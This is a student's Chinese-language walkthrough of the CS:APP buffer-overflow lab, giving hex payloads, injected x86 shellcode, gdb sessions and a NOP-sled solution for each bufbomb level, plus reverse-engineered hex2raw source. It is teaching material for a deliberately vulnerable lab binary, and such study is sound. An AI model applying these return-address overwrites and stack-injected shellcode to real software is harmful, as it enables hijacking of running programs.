这个实验主要是模拟缓冲区溢出。实验中涉及到3个可执行的二进制文件bufbomb,hex2raw,makecookie。bufbomb是进行缓冲区实验的目标程序;既然是缓冲区溢出实验,肯定得有一个导致缓冲区溢出的条件,这个实验是通过类似于c语言中的gets函数的Gets读取一行数据到固定大小的缓冲区,而当我们的输入超过了缓冲区的大小时,Gets没有任何的边界检查,超过缓冲区的数据就会覆盖内存中用作其它用途的数据,从而改变程序的行为,而如果gets从终端读取时,无法输入一些不可打印的数据,比如想输入控制字符0x09,于是就有了hex2raw这个程序,这个程序将16进制表示的字节转换成二进制字节数据,工作方式可用下面程序表示:
char c; while (scanf("%x", &c) != EOF) { fwrite(&c, 1, 1, stdout) != 1); } c = '\n'; fwrite(&c, 1, 1, stdout);
该文后面有对hex2raw二进制程序的逆向工作,得到源程序hex2raw.c,我从csapp官网下开的实验中的hex2raw是64位的二进制程序,而bufbomb,makecookie又是32位程序,所以估计是在64位机上加-m32选项生成的32位程序。最后的fwrite写入换行符表示行输入结束。而makecookie主要是为了防止学生直接copy别人答案用的,每个学生有一个唯一的提交作业的userid,makecookie为不同的userid计算出不同的cookie值。userid要通过命令行参数传给bufbomb,实验中我们在内存某个区域中用自己的cookie值覆盖原来的数据,bufbomb中会有一个validate函数的调用来比对传入的cookie值与命令行传入的userid计算得出的cookie是否相等,如果相等,作业是有效的,否则作业是无效的。
bufbomb程序中调用getbuf函数从标准输入读取一个字符串,getbuf函数定义如下:
/* Buffer size for getbuf */ #define NORMAL_BUFFER_SIZE 32 int getbuf() { char buf[NORMAL_BUFFER_SIZE]; Gets(buf); return 1; }
bufbomb不加-n选项表示每次运行bufbomb程序时,test函数被调用时栈指针值每次都是一样的,不会改变,通过gdb查看到的esp与实际运行时一致,而加了-n选项时,栈指针值是不确定的,会在一个范围内变化。
Gets函数类似于标准库函数gets,无法判断buf是否能存下输入的字符串,仅仅只是将输入的字符串copy到以buf为首地址的内存中,可能超过分配的目的缓冲区。
这个作业分几个实验:
Level 0(10分)
bufbomb中的test函数中调用了getbuf函数
void test() { int val; /* Put canary on stack to detect possible corruption */ volatile int local = uniqueval(); val = getbuf(); /* Check for corruption stack */ if (local != uniqueval()) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned 0x%x\n", val); validate(3); } else { printf("Dud: getbuf returned 0x%x\n", val); } }
而bufbomb中还有一个函数smoke
void smoke() { puts("Smoke!: You called smoke()"); validate(0); exit(0); }
我们的任务是当程序在执行完getbuf后返回时不返回到test函数中而是去执行smoke函数并退出。
反汇编bufbomb可以得到getbuf函数的汇编代码:
08048c04 <getbuf>: 8 048c04 : 55 push %ebp 8 048c05 : 89 e5 mov %esp,%ebp 8 048c07 : 83 ec 38 sub $0x38,%esp 8 048c0a : 8d 45 d8 lea -0x28(%ebp),%eax ; buf 8 048c0d : 89 04 24 mov %eax,(%esp) 8 048c10 : e8 35 ff ff ff call 8 048b4a <Gets> 8 048c15 : b8 01 00 00 00 mov $0x1,%eax 8 048c1a : c9 leave 8 048c1b : c3 ret
当执行Gets时,要让程序不返回调用函数test,getbuf返回地址是指函数getbuf执行完后,跳转到这个地址处继续执行,我们应该将getbuf返回地址处的内容改成smoke函数的地址,查看bufbomb的反汇编代码smoke的函数的起始地址为0x080490ba,从buf的起始地址到返回地址总共有48个字节,前44个字节的内容无关重要,但最后4个字节我们要填入0x080490ba,由于Gets是通过换行符\n(ASCII值0x0a)界定输入终止的,所以前44个字节只要保证不含\n就行了。可以新建一个文本文档smoke-gallant.txt,内容如下:
30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 ba 90 04 08
我们用的电脑基本上都是x86的处理器,是小端序,也即低有效字节位于低地址端,最后一个字是0x080490ba,从低地址到高地址就应该是ba 90 04 08。通过Linux的管道机制
./hex2raw < smoke-gallant.txt | ./bufbomb -u gallant $ ./hex2raw < smoke-gallant.txt | ./bufbomb -u gallant Userid: gallant Cookie: 0x5436c64b Type string:Smoke!: You called smoke() VALID NICE JOB!
这个实验中实际上没有用到我们的userid来计算cookie比对。
Level 1(10分)
bufbomb可执行文件中有一个函数fizz:
void fizz(int val) { if (val == cookie) { printf("Fizz!: You called fizz(0x%x)\n", val); validate(1); } else printf("Misfire: You called fizz(0x%x)\n", val); exit(0); }
与上一个任务类似,但是现在我们必须把我们自己的cookie值当参数传递给fizz函数,通过makecookie计算出userid的cookie值
$ ./makecookie gallant 0x5436c64b
fizz函数的首地址为0x0804906f,除了要将这个值用相同的方式输入到getbuf中返回地址处外,还应将cookie值0x5436c64b输入到在fizz函数中fizz函数返回地址的上一个4字节处。
新建文本文档fizz-gallant.txt输入以下内容:
30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 6f 90 04 08 30 31 32 33 4b c6 36 54
fizz函数的地址值和cookie值是不能变的,其它的只要不是0a就行了
$ ./hex2raw < fizz-gallant.txt | ./bufbomb -u gallant Userid: gallant Cookie: 0x5436c64b Type string:Fizz!: You called fizz(0x5436c64b) VALID NICE JOB!
这个时候cookie值就起作用了,当我们直接copy别人的答案,交作业只能用自己的名字
$ ./hex2raw < fizz-gallant.txt | ./bufbomb -u myname Userid: myname Cookie: 0x2d684f9b Type string:Misfire: You called fizz(0x5436c64b)
这就不是一个valid的作业!
Level 2(15分)
bufbomb文件中有一个函数bang
int global_value = 0; void bang(int val) { if (global_value == cookie) { printf("Bang!: You set global_value to 0x%x\n", global_value); validate(2); } else printf("Misfire: global_value = 0x%x\n", global_value); exit(0); }
任务是getbuf不返回到test,而是执行bang函数,但是我们之前要修改global_value的值为cookie值。在程序运行期间要修改全局变量的值,全局变量没有存储在栈里面,所以我们只能通过执行赋值指令方式改变global_value的值。让程序跳转到栈中某个我们写入了指令的地址,报告完后返回,也即模拟一个函数调用,这个函数的可执行代码位于栈中。
通过查看bang的反汇编代码与C语言代码对比
08049022 <bang>: 8049022 : 55 push %ebp 8049023 : 89 e5 mov %esp,%ebp 8049025 : 83 ec 18 sub $0x18,%esp 8049028 : a1 ec c1 04 08 mov 0x804c1ec,%eax ; global_value 8 04902d : 3b 05 e4 c1 04 08 cmp 0x804c1e4,%eax ; cookie 8049033 : 75 1e jne 8049053 <bang+0x31> 8049035 : 89 44 24 04 mov %eax,0x4(%esp) 8049039 : c7 04 24 90 a1 04 08 movl $0x804a190,(%esp) 8049040 : e8 9b f8 ff ff call 8 0488e0 <printf@plt>
知道global_value的地址为0x804c1ec,当然通过objdump显示符号表中也能直接知道global_value的存储地址,改变global_value值为cookie值可以用汇编表示:
movl $0x5436c64b, %eax ; 将cookie值存入eax寄存器 movl $0x804c1ec, %ecx ; 将global_value的地址存入ecx寄存器 movl %eax, (%ecx) ; cookie值存到了global_value中 ret ; 通过ret调用改变eip转到bang函数中
将以上这4条代码保存到文件bang_gallant.s中
$ as bang_gallant.s -o bang_gallant.o $ objdump -d bang_gallant.o bang_gallant. o: file format elf32-i386 Disassembly of section . text: 00000000 <.text>: 0 : b8 4b c6 36 54 mov $0x5436c64b,%eax 5 : b9 ec c1 04 08 mov $0x804c1ec,%ecx a: 89 01 mov %eax,(%ecx) c: c3 ret
getbuf执行完后的返回地址改成buf的首地址,上一个栈的4字节改成bang函数的地址,这样当在getbuf中调用ret返回时程序会跳转到buf处报告上面的指令,出现ret时会跳转到bang函数中执行。
getbuf中的buf位于栈中,而buf的位置不是绝对地址,我们只能通过gdb来查看buf的地址值,在我的电脑上:
$uname -mro 3.6.9-1-ARCH i686 GNU/Linux $ gdb --quiet ./bufbomb Reading symbols from /home/gallant/workspace/csapp/labs/buflab-handout/bufbomb...(no debugging symbols found)...done. (gdb) break getbuf Breakpoint 1 at 0x8048c0a (gdb) run -u gallant Starting program: /home/gallant/workspace/csapp/labs/buflab-handout/bufbomb -u gallant warning: Could not load shared library symbols for linux-gate.so.1. Do you need "set solib-search-path" or "set sysroot"? Userid: gallant Cookie: 0x5436c64b Breakpoint 1, 0x08048c0a in getbuf () (gdb) print /x ($ebp-0x28) $1 = 0x55683408 (gdb)
这样知道了buf的在我的电脑中运行时首地址为0x55683408
新建文件bang-gallant.txt写入以下内容:
b8 4b c6 36 54 b9 ec c1 04 08 89 01 c3 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 08 34 68 55 22 90 04 08
前13个字节是代码,后面的31个是填充用的,接下来8字节分别是buf的首地址和bang函数的入口地址
$ ./hex2raw < bang-gallant.txt | ./bufbomb -u gallant Userid: gallant Cookie: 0x5436c64b Type string:Bang!: You set global_value to 0x5436c64b VALID NICE JOB!
之前的实验都是破坏了栈的状态而跳转到另一个程序中执行并退出,这个实验要求程序要正常返回到test执行,并且改变返回值为cookie的值,且不能破坏test函数的栈状态。
同样可以用上一个实验的方式,但我们在执行时要把破坏的栈恢复过来,并直接返回到test
在getbuf返回地址中填充buf的首地址,当getbuf函数碰到返回指令ret时,将跳转到buf处执行,此时esp寄存器指向getbuf返回地址的高一个字节
movl $0x5436c64b, %eax ; 返回cookie值 pushl $0x8048c93 ; 返回地址指向test中的getbuf调用后一条指令 ret ; 返回test继续执行
新建文件level3-gallant.s写入上面3条指令,执行
$ as level3-gallant.s -o level3-gallant.o $ objdump -d level3-gallant.o level3-gallant. o: file format elf32-i386 Disassembly of section . text: 00000000 <.text>: 0 : b8 4b c6 36 54 mov $0x5436c64b,%eax 5 : 68 93 8c 04 08 push $0x8048c93 a: c3 ret
由于我们在覆盖getbuf返回地址时会覆盖保存的ebp寄存器的值,通过gdb得到保存的epb寄存器的值
$ gdb --quiet ./bufbomb Reading symbols from /home/gallant/workspace/csapp/labs/buflab-handout/bufbomb...(no debugging symbols found)...done. (gdb) break getbuf Breakpoint 1 at 0x8048c0a (gdb) run -u gallant Starting program: /home/gallant/workspace/csapp/labs/buflab-handout/bufbomb -u gallant warning: Could not load shared library symbols for linux-gate.so.1. Do you need "set solib-search-path" or "set sysroot"? Userid: gallant Cookie: 0x5436c64b Breakpoint 1, 0x08048c0a in getbuf () (gdb) print /x *(int*)($ebp) $1 = 0x55683460
新建文件level3-gallant.txt,输入以下内容
b8 4b c6 36 54 68 93 8c 04 08 c3 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 60 34 68 55 08 34 68 55
前11个字节是代码,接着29字节填充,4个字节的保存的ebp寄存器值,后4个字节是buf首地址
$ ./hex2raw < level3-gallant.txt | ./bufbomb -u gallant Userid: gallant Cookie: 0x5436c64b Type string:Boom!: getbuf returned 0x5436c64b VALID NICE JOB!
Level 4(10分)
前几个实验中,调用test时栈指针均是不变的,但是这时我们给bufbomb加-n选项,这样main中调用testn而不是test,在testn在调用getbufn,这时栈底是不固定的,会在一定范围内变化,完成上一个实验相同的任务,但是这个实验中会调用testn五次,每次调用时栈指针都不同。
函数testn中调用getbufn时前代码:
08048c1c <testn>: 8 048c1c : 55 push %ebp 8 048c1d : 89 e5 mov %esp,%ebp 8 048c1f : 83 ec 28 sub $0x28,%esp 8 048c22 : c7 45 f4 ef be ad de movl $0xdeadbeef,-0xc(%ebp) 8 048c29 : e8 b8 ff ff ff call 8 048be6 <getbufn>
在调用getbufn时,ebp内容比esp内容大0x28,在函数getbufn中
08048be6 <getbufn>: 8 048be6 : 55 push %ebp 8 048be7 : 89 e5 mov %esp,%ebp 8 048be9 : 81 ec 18 02 00 00 sub $0x218,%esp 8 048bef : 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax 8 048bf5 : 89 04 24 mov %eax,(%esp) 8 048bf8 : e8 4d ff ff ff call 8 048b4a <Gets> 8 048bfd : b8 01 00 00 00 mov $0x1,%eax 8 048c02 : c9 leave 8 048c03 : c3 ret
保存的ebp的值就是testn函数中值,当执行完ret后,通过执行
lea 0x28(%esp), %ebp
恢复ebp内容
lea 0x28(%esp), %ebp ; 恢复ebp寄存器内容 movl $0x5436c64b, %eax ; 返回cookie值 pushl $0x8048c2e ; 返回地址指向testn中的getbufn调用后一条指令 ret ; 返回testn继续执行
新建文件level4-gallant.s写入以下代码编译后再反汇编得到:
00000000 <.text>: 0 : 8d 6c 24 28 lea 0x28(%esp),%ebp 4 : b8 4b c6 36 54 mov $0x5436c64b,%eax 9 : 68 2e 8c 04 08 push $0x8048c2e e: c3 ret
共15字节,新建文件level4-gallant.txt
90 90 90 ... 90 ( 505个90(nop) ) 8d 6c 24 28 b8 4b c6 36 54 68 2e 8c 04 08 c3 30 31 32 33 98 32 68 55
前505字节的90,即机器指令空操作nop,紧跟着15字节指令,4字节填充,也可以直接在前面用509个空指令,15字节指令后移4字节,然后是指向buf中某个字节的地址,要保证总是指向buf到15字节之间(包括边界),通过gdb测试buf首地址:
(gdb) break getbufn Breakpoint 1 at 0x8048bef (gdb) run -n -u gallant Starting program: /home/gallant/workspace/csapp/labs/buflab-handout/bufbomb -n -u gallant warning: Could not load shared library symbols for linux-gate.so.1. Do you need "set solib-search-path" or "set sysroot"? Userid: gallant Cookie: 0x5436c64b Breakpoint 1, 0x08048bef in getbufn () (gdb) print /x ($ebp-0x208) $1 = 0x55683228 (gdb) continue Continuing. Type string:hello Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08048bef in getbufn () (gdb) print /x ($ebp-0x208) $2 = 0x55683208 (gdb) continue Continuing. Type string:hello Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08048bef in getbufn () (gdb) print /x ($ebp-0x208) $3 = 0x55683288 (gdb) continue Continuing. Type string:hello Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08048bef in getbufn () (gdb) print /x ($ebp-0x208) $4 = 0x55683268 (gdb) continue Continuing. Type string:hello Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08048bef in getbufn () (gdb) print /x ($ebp-0x208) $5 = 0x55683298 (gdb) continue Continuing. Type string:hello Dud: getbufn returned 0x1 Better luck next time [Inferior 1 (process 401) exited normally] (gdb)
得到5个地址中最大值为0x55683298,取这个地址在我的电脑上能够完成要求。
$ cat level4-gallant.txt | ./hex2raw -n | ./bufbomb -n -u gallant Userid: gallant Cookie: 0x5436c64b Type string:KABOOM!: getbufn returned 0x5436c64b Keep going Type string:KABOOM!: getbufn returned 0x5436c64b Keep going Type string:KABOOM!: getbufn returned 0x5436c64b Keep going Type string:KABOOM!: getbufn returned 0x5436c64b Keep going Type string:KABOOM!: getbufn returned 0x5436c64b VALID NICE JOB!
由于我的实验系统是VMware player中的Arch Linux 32位虚拟机,不能运行csapp网站上下载的hex2raw的64位版本,将64位hex2raw可执行程序逆向得到源程序:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <unistd.h> void usage(const char *prog); char *convert_to_byte_string(FILE *fp, int *plen); int main(int argc, char **argv) { int option; int repeat = 1; int count; char *buf = NULL; char ch; while ((option = getopt(argc, argv, "nh")) != -1) { if (option == 'h') { usage(argv[0]); return 0; } else if (option == 'n') { repeat = 5; } else { usage(argv[0]); return -1; } } buf = convert_to_byte_string(stdin, &count); if (buf == NULL) return -1; ch = '\n'; while (repeat-- > 0) { write(1, buf, count); /* stdout */ write(1, &ch, 1); } return 0; } int convert_to_hex_value(const char *hexstr) { int val; sscanf(hexstr, "%x", &val); return val; } void usage(const char *prog) { printf("usage: %s [-n] [-h]\n", prog); puts(" -n Nitro mode"); puts(" -h Print this help message"); } char *convert_to_byte_string(FILE *fp, int *plen) { FILE *fin = fp; char *buf = NULL; char comment_start[] = "/*"; char comment_end[] = "*/"; char str[1024]; int cnt = 0; int num = 0; int maxline = 1024; if ((buf = malloc(maxline)) == NULL) return NULL; while (fscanf(fin, "%s", str) > 0) { if (!strcmp(str, comment_start)) { cnt++; continue; } else if (!strcmp(str, comment_end)) { if (cnt > 0) cnt--; else { fprintf(stderr, "Error: stray %s found.\n", comment_end); free(buf); buf = NULL; return NULL; } } else { if (cnt == 0) { /* not comment */ if (isxdigit(str[0]) && isxdigit(str[1]) && str[2] == '\0') { if (num == maxline) { maxline *= 2; buf = realloc(buf, maxline); if (buf == NULL) return NULL; } buf[num++] = convert_to_hex_value(str); } else { fprintf(stderr,"Invalid hex value [%s]. Please specify only " "single byte hex values separated by whitespace.\n", str); free(buf); buf = NULL; return NULL; } } } } *plen = num; return buf; }
逆向这个完全是因为我想看下64位的可执行程序的结构^_^,可以看到这个程序支持/* */注释,当然/*及*/前后应该都要有空格